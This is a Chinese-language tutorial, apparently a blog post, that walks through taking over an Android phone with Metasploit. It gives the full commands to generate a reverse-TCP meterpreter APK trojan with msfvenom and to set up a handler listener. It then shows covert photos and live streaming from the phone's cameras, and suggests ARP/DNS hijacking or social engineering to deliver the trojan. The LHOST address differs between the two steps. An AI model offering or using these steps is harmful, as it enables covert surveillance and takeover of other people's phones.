MSF(Metasploit 的简称)是一套开源的渗透测试框架,功能极其强大,广泛应用于安全漏洞检测与利用。该工具支持 Windows 和 Linux 双平台,整合了大量微软官方公布的漏洞(含 0day 漏洞),在渗透测试领域几乎是每位安全从业者的必备利器。
本次测试环境采用 Backbox Linux——一款专为网络渗透与信息安全评估而设计的 Linux 发行版。该系统预装了海量安全工具,其中自然包含 MSF。当然,类似的发行版还有 Kali Linux、Back Track 等,具体选择可根据个人偏好决定。
实验环境:Backbox Linux + MSF
攻击目标:一台安卓手机
要入侵安卓手机,第一步自然是生成一个安卓木马。首先,我们需要查看本机 IP 地址。

本机 IP 地址为:192.168.1.6
接着在终端输入命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=5555 R > /root/apk.apk
需要注意的是,旧版 MSF 使用 msfpayload 生成木马,而新版已统一采用 msfvenom。若在终端输入 msfpayload 提示“命令未找到”,请改用 msfvenom。其中 LHOST 代表攻击机的 IP 地址,LPORT 为监听端口,最后指定木马文件的保存路径。

至此,我们在 /root/ 目录下成功生成了一个 APK 格式的安卓木马文件。关于免杀技术,本文暂不深入。接下来启动 MSF 控制台:
输入命令:msfconsole

随后依次执行以下命令:
use exploit/multi/handler加载漏洞处理模块set payload android/meterpreter/reverse_tcp设置 Payload 为 android/meterpreter/reverse_tcpshow options查看当前参数配置

从 show options 的输出结果可知,Payload 需要配置两个参数:LHOST 和 LPORT。默认端口为 4444,需修改为生成木马时使用的对应值:
set LHOST 192.168.1.6设置 LHOST 为本机 IP 192.168.1.6set LPORT 5555设置 LPORT 为监听端口 5555exploit开始执行漏洞利用并进入监听状态

所有准备工作已完成。接下来需要将木马文件传输到目标手机上。常见方法包括 DNS ARP 劫持(当目标手机下载文件时自动替换为木马)、社会工程学诱导等。为简化演示,我们直接将木马安装到自己的手机上进行验证。



安装完毕后,桌面会出现一个名为“MainActivity”的应用图标,这便是我们生成的木马程序。点击后手机表面毫无反应,但木马已在后台悄然运行。返回 MSF 终端,可以看到一个新会话已成功建立。

至此,目标手机已被成功控制。输入 sysinfo 即可查看手机系统信息。


输入 webcam_list 可查看手机摄像头数量,输出显示两项,分别对应前置和后置摄像头。

webcam_snap 命令用于隐秘拍照,通过参数 -i 指定摄像头编号。我们分别对前后摄像头进行了拍照,并将照片保存到桌面。
此外,输入 webcam_stream 可开启摄像头实时监控。MSF 还提供了大量其他功能,后续有机会再逐一介绍。希望通过本次实战演示,能让你对 MSF 在移动端渗透测试中的应用有更直观的了解。
